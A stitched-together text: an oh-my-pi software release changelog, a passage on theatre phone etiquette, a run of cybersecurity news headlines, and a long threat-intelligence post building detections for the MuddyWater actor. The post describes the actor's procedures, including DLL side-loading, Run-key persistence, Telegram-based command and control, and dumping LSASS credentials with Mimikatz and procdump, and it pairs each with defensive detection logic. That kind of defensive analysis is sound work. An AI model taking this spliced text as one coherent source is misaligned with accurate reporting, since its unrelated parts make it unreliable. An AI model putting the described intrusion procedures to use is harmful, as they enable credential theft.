• Added renderSnapcompactPng(text, options): rasterizes pre-normalized text onto a square PNG in an eval-validated snapcompact shape. Options select the bundled font (5x8 X.org BDF or 8x8 unscii-8, both public domain, shipped in crates/pi-natives/src/fonts/), the ink variant (sent six-hue sentence cycling or bw black), line repetition (each text line printed N times, copies on a pale highlight band), and a target cell size — cells differing from the font's natural cell render via Lanczos3 stretch into an anti-aliased RGB frame (e.g. the OpenAI-optimal 6x6 unscii shape); native-cell shapes encode as 4-bit indexed PNG. Replaces the JS rasterizer/PNG writer previously in @oh-my-pi/pi-agent-core.

@oh-my-pi/snapcompact

Breaking Changes

• Changed renderSnapcompactFrame output from png: Uint8Array to data: string base64, requiring consumers to read frame payloads from frame.data

Added

• Added new serialization options toolResultMaxChars, toolArgMaxChars, toolCallMaxChars, truncateHeadRatio, and dimToolResults to snapcompactCompact/serializeSnapcompactConversation so callers can tune how tool results and arguments are archived
• Added exported default constants SNAPCOMPACT_TOOL_RESULT_MAX_CHARS, SNAPCOMPACT_TOOL_ARG_MAX_CHARS, SNAPCOMPACT_TOOL_CALL_MAX_CHARS, and SNAPCOMPACT_TRUNCATE_HEAD_RATIO for reuse when configuring truncation limits
• Added provider-specific snapcompact frame-shape presets and shape helpers (SNAPCOMPACT_SHAPES, resolveSnapcompactShape, isSnapcompactShape) so callers can consistently select validated image-frame geometry for archive renders
• Added file-operations.md and snapcompact-summary.md prompts to preserve file-read/write context and frame metadata in the compaction prompt flow
• Added a full packages/snapcompact/research experiment and visualization suite for running snapcompact SQuAD studies, provider probes, and activation-style analyses
• Added package-level TypeScript exports and publication config so consumers can import @oh-my-pi/snapcompact with typed access to snapcompact APIs
• Published @oh-my-pi/snapcompact as the reusable snapcompact compaction package, including bitmap-frame rendering helpers, archive helpers, and the local snapcompactCompact() strategy.

Changed

• Changed truncation in archived tool output to keep both the beginning and end of long text using a configurable head/tail ratio instead of a single hard cut
• Changed tool-result text rendering so archived tool results are shown in dim gray ink by default and the summary prompt notes that dim text is archived tool output
• Changed RenderedFrame visible-character accounting so chars no longer includes invisible dim-control markers
• Changed the file-operations summary block to a single <files> tag: one grouped, prefix-folded directory tree with per-file (Read)/(Write)/(RW) markers, replacing the separate <read-files>/<modified-files> lists; upsertSnapcompactFileOperations takes the cumulative read set to distinguish (RW) from blind writes

Fixed

• Fixed frame rendering at archive chunk boundaries to reopen dim spans when a chunk ends inside a dimmed tool-result segment
• Fixed message serialization to strip user- and assistant-provided dim markers so only renderer-generated dim spans can be applied

@oh-my-pi/omp-stats

Added

• Added support for prebuilt npm bundle mode via PI_BUNDLED, allowing the stats server to use an embedded dashboard bundle in packaged CLI distributions

Fixed

• Fixed handling of legacy embedded-client.generated.txt placeholder content so it is treated as missing archive instead of being decoded into invalid bytes
• Fixed ENOENT handling while scanning dashboard source/build directories so missing client/ or dist/client trees no longer crash startup

@oh-my-pi/pi-tui

Added

• Added support for asynchronous onSubmit handlers by allowing the callback to return a Promise<void>

@oh-my-pi/pi-utils

Added

• Added the path-tree module (buildPathTree, walkPathTree, formatGroupedPaths, isUrlLikePath), moved from the coding agent's grouped file output so compaction file lists can share the same prefix-folded directory-tree rendering; formatGroupedPaths gains an optional annotate callback for per-file suffixes

Fixed

• Fixed the {{join}} prompt helper joining with a literal two-character \n when templates pass "\n" as the separator — Handlebars string literals carry no escape processing. The separator now unescapes \n/\t, matching the {{#list}} helper's documented convention (visible as literal \n between paths in compaction <read-files> lists).

What's Changed

• fix(ai): preserve 3p anthropic-messages reasoning chains across model swaps by @roboomp in #2266
• fix(tui): replaced thinking.autoPending question-mark glyphs with loading indicators by @roboomp in #2268
• fix(catalog): handle missing thinking efforts by @roboomp in #2252
• fix(ai): flatten OpenRouter DeepSeek strict unions by @roboomp in #2271
• fix(agent): break shake auto-continue loop when local estimate diverges from provider usage by @roboomp in #2277

Full Changelog: v15.10.12...v15.11.0

It is not news that many of us are addicted to our phones and nor is it a revelation that inconsiderate public behaviour now appears to be the norm, but when the two collide it can cause anger. Last week, at the end of a performance of the drama Inter Alia in London’s West End, the actor Rosamund Pike took to the stage after the curtain call to announce that she had seen someone texting during the performance. “I just wanted to say for anyone going to the theatre, it’s a huge thing that we’re trying to give you. I am trying to tell you a story, and I’m feeling you, and I hope you’re feeling me too … Maybe it was very important, and maybe you’re a doctor, and you’re saving someone’s life, and I hope you are, but we do see these, we do feel them.”

What is the correct etiquette when using your phone? Myka Meier, author of Modern Etiquette Made Easy, says: “It is always thinking about other people before yourself when you’re on the phone.” This also means being aware of how disabled people might use, and rely on, their phones. As an academic with hearing loss pointed out to the BBC after Pike’s comments, bans on phones in theatres, or public shaming, could exclude disabled people in audiences, such as those who use hearing aid apps and need to adjust the settings.

24.9 Million Requests Recorded During Cyberattacks on Tempo 

Largest Wave Hit During Evening Hours 

Attack Traffic Traced Beyond Indonesia 

Possible Link to Earlier CMS Breach Attempt 

Read more: Dublin-based AI IP start-up Midnight Labs backed by Sony

CBSE Cybersecurity Clearance Granted After Final Security Audit 

How the Re-Evaluation Portal Was Tested 

Ethical Hacker Nisarga Adhikary Recognized for Reporting Vulnerabilities 

How the New CBSE-Controlled Re-Evaluation Portal Operates 

• Examiners can access only the specific questions that have been flagged by students for re-evaluation rather than the complete answer book. 
• Access is provided through CBSE-issued tablets. 
• Marks are awarded according to CBSE’s original marking scheme. 
• Every action within the process is digitally recorded, creating comprehensive audit trails. 

Most threat actor writeups stop too early. They describe the group, list ATT&CK techniques, and paste some IoCs. Then the report sits in a folder while defenders wonder: what do I actually do with this on Monday?

Operation Desert Hydra is an answer to that question.

This article documents a full CTI-to-detection pipeline focused on MuddyWater — an Iranian state-linked actor (MOIS) that has been targeting Israeli government, defense, and critical infrastructure organizations since at least 2019. By the end, you’ll have 11 detection records, 12 Kibana proof screenshots, and a working lab you can deploy with a single command.

Everything is on my GitHub: github.com/anpa1200/operation-desert-hydra

GitHub - anpa1200/operation-desert-hydra: OpenCTI-based CTI-to-Detection Knowledge Graph for Iranian activity against Israeli organizations

1. Why MuddyWater?
2. The Pipeline
3. Phase 1: Source Gathering
4. Phase 2: Procedure Dataset
5. Phase 3: OpenCTI Knowledge Graph
6. Phase 4: Detection Atlas
7. Phase 5: Validation Lab
8. Validation Results Summary
9. Phase 6: Coverage Matrix
10. What Defenders Should Do Right Now
11. Reproduce It Yourself
12. Production Scars

Why MuddyWater?

Three reasons:

1. Rich public reporting. CISA, Israel’s INCD, ClearSky, Deep Instinct, Mandiant, and Proofpoint have all published detailed technical analysis. This gives enough procedure-level specificity to engineer real detections.
2. Consistent playbook. Across five years of reporting, the same pattern recurs: spearphishing → scripting engine → encoded PowerShell → RMM tool. The consistency makes it detectable.
3. Relevant geography. The actor consistently targets Israeli organizations — a geography with high analytical value and underserved public detection coverage.

The Pipeline

The project enforces a chain from source to Kibana screenshot:

source → claim → procedure → ATT&CK mapping → telemetry requirement
  → detection pseudologic → benign simulation → lab result → coverage score

No step is skipped. Every claim has a source. Every detection has a validation case. Every PASS has a screenshot.

Phase 1: Source Gathering

The first step is source discovery, not detection writing.

Traditional Source Gathering — and Why It’s Not Enough Alone

The standard workflow for CTI source gathering looks like this: run keyword searches (Google, Google Dorks, site: operators for known vendor blogs), check your Threat Intelligence Platform for existing reports on the actor, subscribe to vendor RSS feeds, pull ISAC/ISAO advisories, and query your organization’s TIP for any existing indicator sets or finished intelligence reports tagged to the actor.

For a mature, well-documented actor like MuddyWater this gets you to maybe 15–20 well-known sources quickly — the CISA advisory, the MITRE ATT&CK page, two or three vendor blog posts you already knew about. The problem is coverage holes: you’ll reliably find sources that are already in your network’s vocabulary and miss the ones that aren’t. A CERT-IL PDF published in Hebrew and linked only from a government portal, a Group-IB campaign teardown behind a partial paywall, or a 2020 ClearSky report that predates your current TIP subscription window — all of these can fall out of a manual search pass.

TIPs compound this in a specific way: they surface what has already been ingested and tagged. If a source was never promoted into your TIP (because it was published before the subscription started, or because no analyst had time to import it), it is invisible inside the platform. The TIP is authoritative for what it knows, not for the universe of available sources.

AI research

The parallel AI research pass was not a replacement for traditional gathering — it was a coverage supplement. After both approaches ran, the traditional pass and the AI outputs were merged into the same deduplication step. The AI outputs added approximately 40 sources beyond what a manual search surfaced; traditional search added discipline about sources the models hallucinated (fabricated URLs, mis-attributed PDFs). Neither was sufficient alone.

I ran parallel deep-research passes using Gemini and OpenAI, both given the same prompt. Each returned a candidate source register. Both outputs were compared, deduplicated (71 candidates → 8 promoted), and the surviving sources were manually acquired and reviewed before anything entered the dataset.

The Actual Prompt

This is the exact prompt used — both models received it verbatim:

You are a senior CTI researcher and source-validation analyst. For Operation Desert Hydra,
gather the best public sources on MuddyWater / Seedworm / Mango Sandstorm / TA450 and
related Iranian activity against Israeli organizations. Goal: create a source register for
an OpenCTI-based CTI-to-detection knowledge graph:
Source → Actor → Campaign → Procedure → ATT&CK Technique → Observable → Log Source
→ Detection → Validation → Coverage.
Search MITRE ATT&CK, CISA/FBI/NSA, Israel National Cyber Directorate, Microsoft,
Google/Mandiant, ESET, Check Point, ClearSky, Unit 42, Proofpoint, SentinelOne,
Recorded Future, Symantec, Talos, Trend Micro, Kaspersky, Cloudflare/Hunt.io/DomainTools,
GitHub, and academic sources.
Include secondary comparison actors only as comparison: APT34, APT35/Charming Kitten/Mint
Sandstorm, CyberAv3ngers, Agrius. Do not merge actors unless a source explicitly supports
overlap.
For every source, return this YAML structure:
  id, title, publisher, url, direct_download_url, download_type, publication_date,
  access_date, actor_claims, source_type, reliability, relevance flags for
  actor_profile/procedures/malware/infrastructure/detections/validation_lab/opencti_modeling,
  key_entities, key_attck_techniques, source_summary, use_for_project, limitations.
Provide direct PDF/STIX/JSON/CSV/GitHub raw links where available; if unavailable write
direct_download_url: none_found. Do not invent URLs or dates.
Use evidence labels:
  Observed = directly shown in telemetry/sample/log/screenshot/source artifact
  Reported = stated by source
  Assessed = source judgment
  Inferred = analyst conclusion from multiple cited facts
  Gap = unknown or not proven
Do not upgrade source claims, do not treat ATT&CK mapping as attribution evidence, do not
treat shared tooling as actor identity proof, and do not claim detection coverage without
validation.
Search exact terms including:
  MuddyWater Iran MOIS, MuddyWater Seedworm, MuddyWater Mango Sandstorm,
  MuddyWater TA450, MuddyWater POWERSTATS, PowGoop, MuddyViper, MuddyWater Israel,
  Israeli organizations, PowerShell, RMM, phishing, spearphishing, Exchange CVE-2020-0688,
  CVE-2017-0199, MITRE ATT&CK, CISA FBI NSA advisory, Mango Sandstorm Microsoft,
  TA450 Proofpoint, Seedworm Symantec, ESET, ClearSky, Unit 42, Check Point, Mandiant,
  SentinelOne, Recorded Future, Talos, Trend Micro, Kaspersky;
  also: APT34 Israel, APT35 Israel, Mint Sandstorm Israel, CyberAv3ngers Israel,
  Agrius Israel, Iranian threat actors Israeli organizations.
Output only these sections:
  1) Executive Source Assessment
  2) High-Priority Source Register with 10-20 best sources in YAML
  3) Extended Source Register
  4) Direct Downloads Table
  5) Actor Alias / Overlap Notes
  6) Procedure Extraction Candidates grouped by tactic with source_ids, evidence_label,
     ATT&CK candidate, required telemetry, detection opportunity, validation_possible
  7) OpenCTI Modeling Candidates
  8) Detection Engineering Opportunities marked candidate only
  9) Gaps And Manual Review Items
The final output must be usable to seed data/sources.yaml, data/procedures.yaml,
docs methodology, OpenCTI import plan, and detection atlas.

What the Prompt Is Designed to Do

A few decisions worth explaining:

Output schema in the prompt. Asking for a specific YAML field list (id, title, publisher, url, direct_download_url…) forces the model to either produce usable data or leave a visible blank — no vague summaries. direct_download_url: none_found is the required answer when a URL doesn't exist, which prevents the model from inventing one.

Evidence labels baked in. The five labels (Observed / Reported / Assessed / Inferred / Gap) are defined in the prompt so the model applies them consistently and the output is ready to feed directly into data/procedures.yaml without reformatting.

Explicit anti-hallucination rules. “Do not invent URLs or dates.” “Do not upgrade source claims.” “Do not treat ATT&CK mapping as attribution evidence.” These are not just principles — they are instructions the model can fail visibly on, which makes QA faster.

Parallel models, same prompt. Running Gemini and OpenAI on the same prompt and comparing outputs catches source fabrications: if one model lists a URL the other doesn’t, that URL gets verified before it enters the register. Two models that agree independently on a source add confidence; one model alone that lists something unusual is a flag.

The Review Gate

Every source that came out of the AI output went through this checklist before being promoted into data/sources.yaml:

• Is the URL real and accessible?
• Is the publication date accurate?
• Does the content actually describe MuddyWater procedures (not just mention the name)?
• Is there at least one procedure-level claim (not just “actor uses PowerShell”)?
• Is the actor identification explicit or inferred from shared tooling only?

71 candidates → 8 government/vendor sources promoted. The rest were duplicates, secondary summaries, or sources that named the actor without procedure-level specificity.

Research Artifacts (All in the Repo)

Every file from the source gathering workflow is version-controlled and publicly accessible:

• Gemini-research.md — Raw Gemini deep-research output: candidate source register in YAML, procedure extraction candidates, OpenCTI modeling candidates, detection opportunities, gaps.
• openAI-research.md — Raw OpenAI deep-research output: executive assessment, high-priority sources, extended source register, direct download list, actor alias notes.
• relevant-research-list.md — Deduplicated candidate list after comparing both model outputs: 71 sources, acquisition targets for Step 5.
• source-acquisition-report.md — Results of the automated fetch run: HTTP status, content type, file size, and extraction status for all 71 sources.
• source-reliability-evidence-assessment.md — Analyst review notes: reliability ratings, evidence quality, promotion decisions, and limitations per source.
• raw-sources/ — 71 numbered source folders, each containing metadata.json, headers.txt, the raw source file, extracted source.txt, and fallback reader output.

Promoted sources (highest weight):

• CISA AA22–055A (Feb 2022) — Full procedure survey: PowGoop, POWERSTATS, Small Sieve, Mori, Canopy, Marlin; WMI survey script; credential dumping tools.
• INCD 2023 — Israeli campaign specifics: ScreenConnect/SimpleHelp RMM abuse, Egnyte/OneDrive lures, Log4j + Exchange exploitation.
• INCD 2024 — BugSleep analysis: 43-minute scheduled task beacon, VPN exploitation, new RMM tools (Level, PDQConnect).

Supporting vendor sources: ClearSky, Deep Instinct, Group-IB, Mandiant, Proofpoint, Sekoia.io, Symantec.

Why These Three Have the Highest Weight

The reliability assessment used a two-axis rubric: Source Reliability (A–F) separating publication discipline from content, and Information Credibility (1–6) rating how well each claim is grounded.

CISA AA22–055A — Reliability A, Credibility 2

This is a joint advisory signed by five national authorities: CISA, FBI, CNMF, NCSC-UK, and NSA. That multi-agency co-signature is not ceremonial — each agency must independently agree to the technical content before it publishes. The advisory names specific malware families (PowGoop, POWERSTATS, Small Sieve, Mori, Canopy, Marlin), includes an actual WMI PowerShell survey script attributed to MuddyWater, and lists credential-dumping tool names. Evidence label: Reported / Assessed. The PDF acquired locally at raw-sources/07-u-s-cyber-command-defense-media-aa22-055a-pdf-mirror/source.pdf is the authoritative copy distributed via Defense Media Activity. Credibility is 2, not 1, because the advisory states TTPs based on intelligence assessment rather than a single intercepted artifact — but the authority behind that assessment is as high as public-source CTI gets.

INCD 2023 (MuddyWater / DarkBit PDF) — Reliability A, Credibility 2

The Israel National Cyber Directorate is the government authority responsible for civilian cyber defense in Israel, the primary target country for this actor. This report covers a specific Israeli campaign including: tool names (ScreenConnect, SimpleHelp), file-sharing lure services (Egnyte, OneDrive), exploitation of Log4j and Exchange CVE-2020–0688, and deployment of ransomware (DarkBit) as a cover operation. Evidence label: Observed / Reported / Assessed. The "Observed" label means the INCD had direct visibility into the incident — not a secondary summary. This gives procedure-level specificity that generic vendor threat intel doesn't reach. Acquired at raw-sources/17-israel-national-cyber-directorate-muddywater-darkbit-pdf/source.pdf.

INCD 2024 (BugSleep PDF) — Reliability A, Credibility 2

Same publisher authority as INCD 2023, focused on MuddyWater’s 2024 evolution. Key content: BugSleep backdoor analysis, the specific 43-minute scheduled task beacon interval (which became proc_mw_0006 and det_mw_0006), VPN exploitation, and new RMM tools (Level, PDQConnect). The 43-minute interval is a concrete behavioral fingerprint — not a general TTP category — and it came from direct INCD analysis. Evidence label: Observed / Reported / Assessed. Acquired at raw-sources/18-israel-national-cyber-directorate-technological-advancement-and-evolution-of-muddywater-in/source.pdf.

The three sources share a common characteristic: they are not secondary aggregators or vendor marketing. They are government authorities with direct incident visibility reporting on specific Israeli campaigns.

Steps After Deduplication: What Actually Happened to All 71 Sources

After the AI outputs were merged and deduplicated, 71 candidate sources remained. Here is what happened to them across Steps 5–9:

Step 5 — Automated Acquisition

tools/fetch_research_sources.py ran against all 71 URLs. For each source it created a numbered folder under docs/source-gathering/raw-sources/ with:

raw-sources/
  01-mitre-att-ck-muddywater-g0069/
    metadata.json        # URL, fetch timestamp, HTTP status, content-type, size
    headers.txt          # Raw HTTP response headers
    source.html / source.pdf / source.txt   # Primary file
    source.txt           # Text extract (for PDFs and HTML)
    fallback-reader.txt  # Reader-mode fallback if primary was blocked or JS-rendered

Not all fetches succeeded. Some sources returned 403 (vendor gating), some required JS rendering (only fallback text was captured), and two PDFs were corrupted. The acquisition report at docs/source-gathering/source-acquisition-report.md records the HTTP status, file size, and extraction status for all 71.

Step 6 — Reliability and Credibility Rating

Each acquired source was rated using the two-axis rubric. The full assessment table is in docs/source-gathering/source-reliability-evidence-assessment.md. Outcome breakdown:

• Reliability A (government / primary standard): 23 sources
• Reliability B (usually reliable vendor / research publisher): 25 sources
• Reliability C (secondary / news / marketing): 18 sources
• Reliability F (failed acquisition or cannot judge): 5 sources

Step 7 — Promotion Decision

Only sources with a combination of Reliability A or B, Credibility 2 or better, a usable acquisition, and at least one procedure-level claim were promoted into data/sources.yaml. The rest were assigned one of: Use as corroboration, Use as comparison only, Defer, or Exclude.

71 candidates → 8 primary sources promoted into the dataset. The 63 that were not promoted are retained in raw-sources/ for future work; they are not discarded.

Step 8 — Claim Extraction

For each promoted source, specific claims were extracted with source binding and evidence labels. A claim is not “MuddyWater uses PowerShell” — it is: “CISA AA22–055A (AA22–055A PDF, p.4) reports that MuddyWater actors deploy PowGoop, a DLL loader that decrypts and executes a PowerShell backdoor (Reported)." This source-bound format prevents claim drift downstream.

Step 9 — Procedure Candidate Extraction

From the bound claims, 10 procedure candidates were grouped by tactic: Initial Access, Execution, Persistence, Defense Evasion, Discovery, C2, Credential Access. Each candidate recorded: required telemetry, detection opportunity, whether lab validation was feasible, and whether the procedure appeared in multiple independent sources (a promotion signal for higher confidence scores later).

The Full 71-Source Candidate List

This is the deduplicated list produced after comparing Gemini and OpenAI outputs. Every source here was an acquisition target for Step 5.

Core MuddyWater / Seedworm / TA450 / Mango Sandstorm

1. MITRE ATT&CK — MuddyWater G0069
2. MITRE ATT&CK — POWERSTATS S0223
3. MITRE ATT&CK — PowGoop S1046
4. CISA alert — Iranian Government-Sponsored MuddyWater Actors Conducting Malicious Cyber Operations
5. CISA / FBI / CNMF / NCSC-UK / NSA — AA22–055A advisory page
6. CISA / FBI / CNMF / NCSC-UK / NSA — AA22–055A PDF
7. U.S. Cyber Command / Defense media — AA22–055A PDF mirror
8. NCSC-UK — Joint advisory on MuddyWater actor
9. U.S. Cyber Command / Iran Watch mirror — Iranian intel cyber suite of malware PDF
10. Decipher — US Cyber Command Discloses MuddyWater Malware Samples
11. SentinelOne — Wading Through Muddy Waters
12. Palo Alto Unit 42 — Muddying the Water: Targeted Attacks in the Middle East
13. CERTFA Radar — MuddyWater Threat Actor Cluster
14. CERTFA Radar — MuddyWater / Earth Vetala Intrusion
15. Group-IB — MuddyWater APT Group Profile

Israel-Focused MuddyWater Sources

1. Israel National Cyber Directorate — MuddyWater page
2. Israel National Cyber Directorate — MuddyWater / DarkBit PDF
3. Israel National Cyber Directorate — Technological Advancement and Evolution of MuddyWater in 2024 PDF
4. Israel National Cyber Directorate — Overview of Recent Phishing PDF
5. ClearSky — Operation Quicksand: MuddyWater’s Offensive Attack Against Israeli Organizations
6. ClearSky — Operation Quicksand PDF
7. Microsoft — MERCURY and DEV-1084: Destructive attack on hybrid environment
8. Microsoft — Exposing POLONIUM activity and infrastructure targeting Israeli organizations
9. Proofpoint — TA450 Uses Embedded Links in PDF Attachments in Latest Campaign
10. HarfangLab — MuddyWater campaign abusing Atera Agents
11. Deep Instinct — DarkBeatC2: The Latest MuddyWater Attack Framework
12. SC Media — Novel C2 tool leveraged in latest MuddyWater attacks
13. Check Point — MuddyWater Threat Group Deploys New BugSleep Backdoor
14. ESET / WeLiveSecurity — MuddyWater: Snakes by the riverbank
15. ESET press release — Iran’s MuddyWater targets critical infrastructure in Israel and Egypt
16. Security Affairs — MuddyWater strikes Israel with advanced MuddyViper malware
17. The Hacker News — Iran-Linked MuddyWater Deploys Atera for Surveillance in Phishing Attacks

Recent / Evolving MuddyWater Activity

1. Proofpoint — Around the World in 90 Days: State-Sponsored Actors Try ClickFix
2. Proofpoint — Crossed Wires: a case study of Iranian espionage and attribution
3. Group-IB — Operation Olalampo: Inside MuddyWater’s Latest Campaign
4. The Hacker News — MuddyWater Targets MENA Organizations with GhostFetch, CHAR, and HTTP_VIP
5. Rapid7 — Muddying the Tracks: The State-Sponsored Shadow Behind Chaos Ransomware
6. The Hacker News — MuddyWater Uses Microsoft Teams to Steal Credentials in False Flag Ransomware Attack
7. Rapid7 — Iran Conflict Cyber Threat Intelligence
8. ExtraHop — The Digital Front of Iranian Cyber Offensive and Defensive Response
9. Abnormal Security — Tracking Iran-Aligned Cyber Operations Following U.S.-Israel Strikes
10. Unit 42 — Boggy Serpens Threat Assessment
11. Hive Pro — MuddyWater: Iran’s Adaptive Cyber Espionage Machine
12. Hive Pro — MuddyWater / Operation Olalampo PDF
13. Kaspersky ICS CERT — APT and financial attacks on industrial organizations in Q2 2024 PDF
14. Kaspersky ICS CERT — APT and financial attacks on industrial organizations in Q2 2025 PDF
15. Trend Micro — Annual APT Report 2025 PDF
16. Intel 471 — HUNTER Iranian Threat Actor Coverage PDF

Iran Threat Context and Comparison Actors

1. CISA — Iran Threat Overview and Advisories
2. CISA — Iran state-sponsored cyber threat publications
3. CISA — AA23–335A: IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors
4. CISA — AA23–335A PDF
5. MITRE ATT&CK — APT34
6. MITRE ATT&CK — APT35 / Charming Kitten
7. MITRE ATT&CK — Agrius
8. Microsoft — Mint Sandstorm
9. Microsoft — Peach Sandstorm deploys new custom Tickler malware
10. Microsoft Learn — How Microsoft names threat actors
11. SentinelOne — Iranian Cyber Activity Outlook
12. Trellix — The Iranian Cyber Capability PDF

OpenCTI / STIX / Knowledge Graph References

1. OpenCTI documentation — Data model
2. OpenCTI documentation — GraphQL API
3. OpenCTI documentation — Deduplication
4. OASIS — STIX 2.1 HTML specification
5. OASIS — STIX 2.1 PDF specification
6. STIX Project — Relationships
7. STIXnet — Extracting STIX Objects in CTI Reports
8. From Text to Actionable Intelligence: Automating STIX Entity and Relationship Extraction
9. Context-aware Entity-Relation Extraction for Threat Intelligence Knowledge Graphs

Validate Before Promoting

1. Brandefense — MuddyWater PDF
2. KPMG — CTI Report MuddyWater PDF

Critical discipline: AI output was used only for source discovery. Every claim, mapping, and detection record required analyst review before entering the dataset.

Phase 2: Procedure Dataset

A procedure record is not an ATT&CK technique. ATT&CK describes what a class of actors can do. A procedure record describes what this actor did, in this campaign, as documented by this source, with a specific evidence label attached.

The distinction matters for detection. “Adversaries use scheduled tasks (T1053.005)” does not help you tune a detection rule. “BugSleep creates a scheduled task with a 43-minute repeat interval (INCD 2024, Observed)” does — because you now have a concrete interval to hunt for, a specific tool name, and a source you can cite in your detection rationale.

Each of the 10 records in data/procedures.yaml captures four things:

• The specific behavior — not the technique category
• The source references that support it, with evidence labels
• Candidate ATT&CK technique mappings and the reasoning behind each candidate
• Required telemetry, a detection idea, validation plan, and known limitations

Confidence Labels

Each record carries one of four evidence labels inherited from the source assessment:

Observed — the behavior appears directly in source telemetry, a recovered sample, a screenshot, or a government incident report with direct visibility into the event. This is the strongest label and the only one that justifies a high-priority detection without further corroboration.

Reported — a source states the behavior occurred, but the evidence is assertion-level rather than artifact-level. Still usable; requires corroboration before relying on it alone.

Assessed — the source draws an analytical conclusion based on multiple indicators. Appropriate for ATT&CK candidate mappings; not sufficient alone for a new detection claim.

Inferred — analyst conclusion derived from combining multiple reported facts across sources. Weakest label; flag for review before using in production.

All 10 procedures in this dataset carry Observed or High confidence. That is not a coincidence — it reflects the promotion threshold. Procedures that came only from secondary or inferred sources were not promoted into data/procedures.yaml; they stayed in the claim extraction notes for future work.

The 10 Procedures

proc_mw_0001 — Spearphishing Email Delivery Confidence: Observed · Sources: AA22–055A, INCD 2023, INCD 2024 · ATT&CK: T1566.001, T1566.002, T1534

Three delivery variants documented across all three primary government sources: ZIP attachments containing macro-enabled Excel files or PDFs; email links to Egnyte or OneDrive delivering compressed RMM installers; and emails sent from compromised legitimate accounts to increase lure credibility. In 2024, a Microsoft-update-lure campaign sent to 10,000+ accounts embedded a PowerShell API key, granting the actor direct agent access immediately after the RMM tool installed. Three independent government sources corroborate this procedure — it is the highest-confidence initial access vector in the dataset.

proc_mw_0002 — Public-Facing Exploitation Confidence: Observed · Sources: AA22–055A, INCD 2023, INCD 2024 · ATT&CK: T1190

Secondary initial access vector to phishing. Documented CVEs: CVE-2020–1472 (Netlogon/Zerologon), CVE-2020–0688 (Exchange), CVE-2021–44228 (Log4j), and unspecified VPN vulnerabilities confirmed by INCD 2024. Exploitation is typically followed by RMM tool deployment or custom backdoor staging. The VPN claim from INCD 2024 does not name a specific CVE — treat as Reported until a CVE is attributed.

proc_mw_0003 — PowerShell Execution and Script Obfuscation Confidence: Observed · Sources: AA22–055A, INCD 2024 · ATT&CK: T1059.001, T1027

Cross-cutting technique present in every tool tier. PowGoop uses an obfuscated .dat + config.txt PowerShell chain for C2 beaconing. POWERSTATS is a persistent PowerShell backdoor. The 2024 lure embedded an API key executed via PowerShell to grant direct agent access. Obfuscation is applied consistently via Base64, XOR, and custom encoding. Detection anchor: Script Block Logging (EID 4104) is the primary telemetry dependency — without it, this procedure is nearly invisible to endpoint-only detection.

proc_mw_0004 — DLL Side-Loading Confidence: Observed · Sources: AA22–055A, INCD 2024 · ATT&CK: T1574.002

PowGoop’s canonical execution method: a malicious DLL renamed Goopdate.dll placed alongside GoogleUpdate.exe, causing the legitimate signed binary to load and execute the malicious DLL. INCD 2024 confirms continued use across the 2024 toolset. Detection requires Sysmon EID 7 (image load) with signing status — not available from Windows Event Log alone. This is the most telemetry-constrained procedure in the dataset; validation was PARTIAL because the lab's stub DLL did not produce sufficient EID 7 signal.

proc_mw_0005 — Registry Run Key and Startup Folder Persistence Confidence: Observed · Sources: AA22–055A, INCD 2024 · ATT&CK: T1547.001

Small Sieve adds index.exe under the Run key named OutlookMicrosift — mimicking a Microsoft application name. Canopy installs its first WSF script in the startup folder. AA22-055A documents an additional key: SystemTextEncoding. INCD 2024 confirms continued use. The specific key names (OutlookMicrosift, SystemTextEncoding) are high-confidence IoCs when present; a detection based only on "new Run key written by a non-installer" will generate noise in most enterprise environments.

proc_mw_0006 — Scheduled Task (43-Minute Beacon) Confidence: Observed · Source: INCD 2024 (single source) · ATT&CK: T1053.005

BugSleep creates a Windows scheduled task triggered every 43 minutes for C2 beaconing. The interval is documented as customizable, but 43 minutes is the specific value observed in the INCD 2024 analysis. This is a single-source procedure — INCD 2024 only — which is why it carries a coverage score of 4 (correlated analytic) rather than 5 in the detection atlas. Before treating this interval as a high-confidence fingerprint in production, corroborate with a vendor source.

proc_mw_0007 — RMM Tool Abuse Confidence: Observed · Sources: AA22–055A, INCD 2023, INCD 2024, multiple vendor sources · ATT&CK: T1219

The most consistently documented technique across all source tiers — five independent government and vendor sources corroborate it. Tool inventory across campaigns: ScreenConnect (2022), SyncroRAT (Israel 2023), rport.exe (DarkBit operation), AteraAgent (multiple vendor sources), SimpleHelp, Level, PDQConnect (2024). The 2024 lure embedded an API key so the actor had direct agent access the moment the victim installed the tool. Detection must rely on delivery context and parent process — not binary name alone, since these are legitimate commercial tools.

proc_mw_0008 — C2 via Web Protocols and DNS Tunneling Confidence: Observed · Sources: AA22–055A, INCD 2024 · ATT&CK: T1071.001, T1572, T1102

Multiple C2 channels documented. Small Sieve beacons via Telegram Bot API over HTTPS. Canopy sends collected data via HTTP POST. Blackout uses GET /questions and POST /about-us. AnchorRAT communicates over HTTPS port 443 in JSON format. Mori uses DNS tunneling. In 2024, Rentry.co was used as a legitimate platform for C2 redirection. The Telegram API is the highest-confidence detection anchor: outbound HTTPS to api.telegram.org from a non-browser process is unusual in enterprise environments and directly attributed across multiple sources.

proc_mw_0009 — WMI System Discovery Survey Confidence: Observed · Source: AA22–055A (script documented verbatim) · ATT&CK: T1047, T1082, T1016, T1033, T1518.001

MuddyWater runs a PowerShell script that queries WMI to collect: IP addresses (Win32_NetworkAdapterConfiguration), OS name and architecture (Win32_OperatingSystem), hostname, domain, username, and AV product names (root\SecurityCenter2\AntiVirusProduct). The collected data is assembled into a delimited string, encoded, and sent to C2. The exact script is reproduced in the CISA advisory. The SecurityCenter2 query is the detection anchor: legitimate enterprise software rarely queries this WMI namespace outside AV management contexts, making it a low-noise signal.

proc_mw_0010 — Credential Dumping from LSASS and Credential Stores Confidence: Observed · Source: AA22–055A · ATT&CK: T1003.001, T1003.004, T1003.005

Post-access credential access using three tools: Mimikatz and procdump64.exe against LSASS memory (T1003.001); LaZagne for LSA secrets (T1003.004) and cached domain credentials (T1003.005). Used post-exploitation to enable lateral movement with harvested credentials. Detection via Sysmon EID 10 (process accessing lsass.exe) is tool-agnostic — it fires regardless of whether the actor uses Mimikatz, procdump, or a custom variant with a different binary name. This is the most reliable detection path for this procedure.

Phase 3: OpenCTI Knowledge Graph

The procedure dataset and source register go into a self-hosted OpenCTI 6.2 instance. This creates the analytical record — queryable, relationship-aware, ATT&CK-linked.

OpenCTI Deployment

The stack used in this project is documented and publicly reproducible. The full deployment — Docker Compose, connectors, and an AI enrichment connector that calls Claude via the Anthropic API — lives in a dedicated project:

• GitHub: github.com/anpa1200/opencti-intelligent-shield

